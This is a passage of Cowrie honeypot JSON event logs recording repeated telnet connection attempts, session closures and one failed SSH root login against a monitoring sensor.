af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:33.623131Z","src_ip":"223.197.186.7","session":"e8c3cf14fa61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":53958,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8ebba0de493","protocol":"telnet","message":"New connection: 103.216.223.28:53958 (159.203.135.109:23) [session: b8ebba0de493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:33.981698Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"system","message":"login attempt [root/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:34.545550Z","src_ip":"223.197.186.7","session":"e8c3cf14fa61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":55178,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a14a03859de","protocol":"telnet","message":"New connection: 103.216.223.28:55178 (159.203.135.109:23) [session: 5a14a03859de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:34.824665Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":56142,"dst_ip":"159.203.135.109","dst_port":23,"session":"a88685216a9b","protocol":"telnet","message":"New connection: 103.216.223.28:56142 (159.203.135.109:23) [session: a88685216a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:35.577153Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:35.766620Z","src_ip":"223.197.186.7","session":"e8c3cf14fa61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":56548,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1cfc12c33d9","protocol":"telnet","message":"New connection: 103.216.223.28:56548 (159.203.135.109:23) [session: d1cfc12c33d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:35.966225Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":58652,"dst_ip":"159.203.135.109","dst_port":23,"session":"04114ee97749","protocol":"telnet","message":"New connection: 103.216.223.28:58652 (159.203.135.109:23) [session: 04114ee97749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:37.552775Z"}
{"eventid":"cowrie.session.closed","duration":32.2168402671814,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:37.828488Z","src_ip":"103.216.223.28","session":"a55538d292ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":59360,"dst_ip":"159.203.135.109","dst_port":23,"session":"295d81641f37","protocol":"telnet","message":"New connection: 103.216.223.28:59360 (159.203.135.109:23) [session: 295d81641f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:37.965672Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":57786,"dst_ip":"159.203.135.109","dst_port":23,"session":"42fa92428f12","protocol":"telnet","message":"New connection: 103.216.223.28:57786 (159.203.135.109:23) [session: 42fa92428f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:38.045710Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":60484,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d20f6f11aae","protocol":"telnet","message":"New connection: 103.216.223.28:60484 (159.203.135.109:23) [session: 5d20f6f11aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:38.697184Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":60502,"dst_ip":"159.203.135.109","dst_port":23,"session":"a35bbe5db9b1","protocol":"telnet","message":"New connection: 103.216.223.28:60502 (159.203.135.109:23) [session: a35bbe5db9b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:38.710180Z"}
{"eventid":"cowrie.session.closed","duration":31.287732362747192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:39.033892Z","src_ip":"103.216.223.28","session":"210e1022d444","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":32862,"dst_ip":"159.203.135.109","dst_port":23,"session":"76765004517b","protocol":"telnet","message":"New connection: 103.216.223.28:32862 (159.203.135.109:23) [session: 76765004517b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:39.299151Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":33866,"dst_ip":"159.203.135.109","dst_port":23,"session":"141bf83b9571","protocol":"telnet","message":"New connection: 103.216.223.28:33866 (159.203.135.109:23) [session: 141bf83b9571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:39.975415Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":60882,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cea5190473d","protocol":"telnet","message":"New connection: 103.216.223.28:60882 (159.203.135.109:23) [session: 8cea5190473d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:40.119953Z"}
{"eventid":"cowrie.session.closed","duration":30.589661598205566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:40.155871Z","src_ip":"103.216.223.28","session":"f46e810031bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":33374,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2013027c535","protocol":"telnet","message":"New connection: 103.216.223.28:33374 (159.203.135.109:23) [session: a2013027c535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:40.611227Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":36042,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b87374e13d7","protocol":"telnet","message":"New connection: 103.216.223.28:36042 (159.203.135.109:23) [session: 4b87374e13d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:41.646057Z"}
{"eventid":"cowrie.session.closed","duration":31.071756839752197,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:41.802111Z","src_ip":"103.216.223.28","session":"1e9c439ad439","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":37428,"dst_ip":"159.203.135.109","dst_port":23,"session":"7675e637ef3a","protocol":"telnet","message":"New connection: 103.216.223.28:37428 (159.203.135.109:23) [session: 7675e637ef3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:42.889794Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":38344,"dst_ip":"159.203.135.109","dst_port":23,"session":"8efe9e77a2f7","protocol":"telnet","message":"New connection: 103.216.223.28:38344 (159.203.135.109:23) [session: 8efe9e77a2f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:44.674945Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":41326,"dst_ip":"159.203.135.109","dst_port":23,"session":"3469d54ccd74","protocol":"telnet","message":"New connection: 103.216.223.28:41326 (159.203.135.109:23) [session: 3469d54ccd74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:46.018259Z"}
{"eventid":"cowrie.session.closed","duration":30.539116382598877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:46.130674Z","src_ip":"103.216.223.28","session":"42305d93b906","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":41526,"dst_ip":"159.203.135.109","dst_port":23,"session":"c78614bc0c04","protocol":"telnet","message":"New connection: 103.216.223.28:41526 (159.203.135.109:23) [session: c78614bc0c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:46.227437Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":41586,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b81a2f80c21","protocol":"telnet","message":"New connection: 103.216.223.28:41586 (159.203.135.109:23) [session: 9b81a2f80c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:46.323559Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.0.132","src_port":44010,"dst_ip":"159.203.135.109","dst_port":23,"session":"b79938f2967b","protocol":"telnet","message":"New connection: 162.240.0.132:44010 (159.203.135.109:23) [session: b79938f2967b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:46.576608Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":41916,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f756a4edd7c","protocol":"telnet","message":"New connection: 103.216.223.28:41916 (159.203.135.109:23) [session: 9f756a4edd7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:46.580998Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":40906,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b6dc6006122","protocol":"telnet","message":"New connection: 103.216.223.28:40906 (159.203.135.109:23) [session: 3b6dc6006122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:46.607022Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":42194,"dst_ip":"159.203.135.109","dst_port":23,"session":"43ec3cd47f97","protocol":"telnet","message":"New connection: 103.216.223.28:42194 (159.203.135.109:23) [session: 43ec3cd47f97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:46.891507Z"}
{"eventid":"cowrie.session.closed","duration":30.675416469573975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:47.138048Z","src_ip":"103.216.223.28","session":"4f60a436aa87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40517807006836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:47.213470Z","src_ip":"103.216.223.28","session":"cacc29b03b07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":43224,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4a38c0da688","protocol":"telnet","message":"New connection: 103.216.223.28:43224 (159.203.135.109:23) [session: d4a38c0da688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:48.017148Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":43442,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffe4edd13322","protocol":"telnet","message":"New connection: 103.216.223.28:43442 (159.203.135.109:23) [session: ffe4edd13322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:48.298541Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":42596,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb8370cf8a8f","protocol":"telnet","message":"New connection: 103.216.223.28:42596 (159.203.135.109:23) [session: bb8370cf8a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:48.445556Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":43900,"dst_ip":"159.203.135.109","dst_port":23,"session":"e681901c277d","protocol":"telnet","message":"New connection: 103.216.223.28:43900 (159.203.135.109:23) [session: e681901c277d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:48.540975Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":44332,"dst_ip":"159.203.135.109","dst_port":23,"session":"91188c3eb159","protocol":"telnet","message":"New connection: 103.216.223.28:44332 (159.203.135.109:23) [session: 91188c3eb159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:48.738117Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":44664,"dst_ip":"159.203.135.109","dst_port":23,"session":"36ea9f8c1e1b","protocol":"telnet","message":"New connection: 103.216.223.28:44664 (159.203.135.109:23) [session: 36ea9f8c1e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:49.110321Z"}
{"eventid":"cowrie.session.closed","duration":31.37550187110901,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:49.415584Z","src_ip":"103.216.223.28","session":"757134b2a704","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":45536,"dst_ip":"159.203.135.109","dst_port":23,"session":"a205f107ca7c","protocol":"telnet","message":"New connection: 103.216.223.28:45536 (159.203.135.109:23) [session: a205f107ca7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:49.728685Z"}
{"eventid":"cowrie.session.closed","duration":31.786659717559814,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:49.812699Z","src_ip":"103.216.223.28","session":"83c92825ed06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":44456,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbe70c5d06a8","protocol":"telnet","message":"New connection: 103.216.223.28:44456 (159.203.135.109:23) [session: fbe70c5d06a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:49.923661Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":44660,"dst_ip":"159.203.135.109","dst_port":23,"session":"c488a2039252","protocol":"telnet","message":"New connection: 103.216.223.28:44660 (159.203.135.109:23) [session: c488a2039252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:50.088224Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":46228,"dst_ip":"159.203.135.109","dst_port":23,"session":"45b8ba68ffab","protocol":"telnet","message":"New connection: 103.216.223.28:46228 (159.203.135.109:23) [session: 45b8ba68ffab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:50.488877Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":46618,"dst_ip":"159.203.135.109","dst_port":23,"session":"e06f9e25ee58","protocol":"telnet","message":"New connection: 103.216.223.28:46618 (159.203.135.109:23) [session: e06f9e25ee58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:50.752114Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":46800,"dst_ip":"159.203.135.109","dst_port":23,"session":"34daf48f9d0e","protocol":"telnet","message":"New connection: 103.216.223.28:46800 (159.203.135.109:23) [session: 34daf48f9d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:50.912168Z"}
{"eventid":"cowrie.session.closed","duration":30.30449867248535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:51.179478Z","src_ip":"103.216.223.28","session":"b7ba8ba828e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":47646,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9cadcc09093","protocol":"telnet","message":"New connection: 103.216.223.28:47646 (159.203.135.109:23) [session: f9cadcc09093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:51.668494Z"}
{"eventid":"cowrie.session.closed","duration":31.160979747772217,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:51.931717Z","src_ip":"103.216.223.28","session":"9960284b948d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":48474,"dst_ip":"159.203.135.109","dst_port":23,"session":"712b3466b423","protocol":"telnet","message":"New connection: 103.216.223.28:48474 (159.203.135.109:23) [session: 712b3466b423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:52.579941Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":48662,"dst_ip":"159.203.135.109","dst_port":23,"session":"e448da3d0996","protocol":"telnet","message":"New connection: 103.216.223.28:48662 (159.203.135.109:23) [session: e448da3d0996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:52.698489Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":48820,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e761e2ae82e","protocol":"telnet","message":"New connection: 103.216.223.28:48820 (159.203.135.109:23) [session: 2e761e2ae82e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:52.882782Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":48848,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0095c57f650","protocol":"telnet","message":"New connection: 103.216.223.28:48848 (159.203.135.109:23) [session: a0095c57f650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:52.893648Z"}
{"eventid":"cowrie.session.closed","duration":31.492656707763672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:52.945462Z","src_ip":"103.216.223.28","session":"a6fcecfca497","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":49574,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cc50be879ac","protocol":"telnet","message":"New connection: 103.216.223.28:49574 (159.203.135.109:23) [session: 4cc50be879ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:53.674484Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":49688,"dst_ip":"159.203.135.109","dst_port":23,"session":"50a91086523f","protocol":"telnet","message":"New connection: 103.216.223.28:49688 (159.203.135.109:23) [session: 50a91086523f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:53.754205Z"}
{"eventid":"cowrie.session.closed","duration":30.43159794807434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:54.124596Z","src_ip":"103.216.223.28","session":"45d4dc77257b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69473433494568,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:54.276923Z","src_ip":"103.216.223.28","session":"b4adf93cc8a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":50208,"dst_ip":"159.203.135.109","dst_port":23,"session":"182a7d3e2b51","protocol":"telnet","message":"New connection: 103.216.223.28:50208 (159.203.135.109:23) [session: 182a7d3e2b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:54.333820Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":50722,"dst_ip":"159.203.135.109","dst_port":23,"session":"e94609589773","protocol":"telnet","message":"New connection: 103.216.223.28:50722 (159.203.135.109:23) [session: e94609589773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:54.732959Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":50798,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e00523c5f1a","protocol":"telnet","message":"New connection: 103.216.223.28:50798 (159.203.135.109:23) [session: 1e00523c5f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:54.784379Z"}
{"eventid":"cowrie.session.closed","duration":30.587207794189453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:55.138572Z","src_ip":"103.216.223.28","session":"2ab1f8195634","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.331254720687866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:55.179375Z","src_ip":"103.216.223.28","session":"b5ceaad1526e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.0.132","src_port":35620,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fb645fde490","protocol":"telnet","message":"New connection: 162.240.0.132:35620 (159.203.135.109:23) [session: 2fb645fde490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:55.338036Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":49258,"dst_ip":"159.203.135.109","dst_port":23,"session":"681d0d17bde7","protocol":"telnet","message":"New connection: 103.216.223.28:49258 (159.203.135.109:23) [session: 681d0d17bde7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:55.481645Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":52080,"dst_ip":"159.203.135.109","dst_port":23,"session":"e900113e390a","protocol":"telnet","message":"New connection: 103.216.223.28:52080 (159.203.135.109:23) [session: e900113e390a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:55.919101Z"}
{"eventid":"cowrie.session.closed","duration":31.14392328262329,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:56.114805Z","src_ip":"103.216.223.28","session":"a901c617663a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":52318,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebee8f883377","protocol":"telnet","message":"New connection: 103.216.223.28:52318 (159.203.135.109:23) [session: ebee8f883377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:56.271552Z"}
{"eventid":"cowrie.session.closed","duration":30.488323211669922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:56.276742Z","src_ip":"103.216.223.28","session":"132b4d8b806b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":52716,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcc4aeeb8f3e","protocol":"telnet","message":"New connection: 103.216.223.28:52716 (159.203.135.109:23) [session: dcc4aeeb8f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:56.635055Z"}
{"eventid":"cowrie.session.closed","duration":32.042815923690796,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:56.935842Z","src_ip":"103.216.223.28","session":"13df2fa2a428","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.0.132","src_port":33814,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cc9129d3189","protocol":"telnet","message":"New connection: 162.240.0.132:33814 (159.203.135.109:23) [session: 6cc9129d3189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:57.135592Z"}
{"eventid":"cowrie.session.closed","duration":30.820940494537354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:57.422858Z","src_ip":"103.216.223.28","session":"103fcd517bae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":51818,"dst_ip":"159.203.135.109","dst_port":23,"session":"084bf552f3f9","protocol":"telnet","message":"New connection: 103.216.223.28:51818 (159.203.135.109:23) [session: 084bf552f3f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:57.656271Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":54140,"dst_ip":"159.203.135.109","dst_port":23,"session":"31160dbe8499","protocol":"telnet","message":"New connection: 103.216.223.28:54140 (159.203.135.109:23) [session: 31160dbe8499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:58.218324Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":53782,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c97ad58c064","protocol":"telnet","message":"New connection: 103.216.223.28:53782 (159.203.135.109:23) [session: 1c97ad58c064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:58.783613Z"}
{"eventid":"cowrie.session.closed","duration":31.159403085708618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:59.784138Z","src_ip":"103.216.223.28","session":"1b529352caab","protocol":"telnet"}
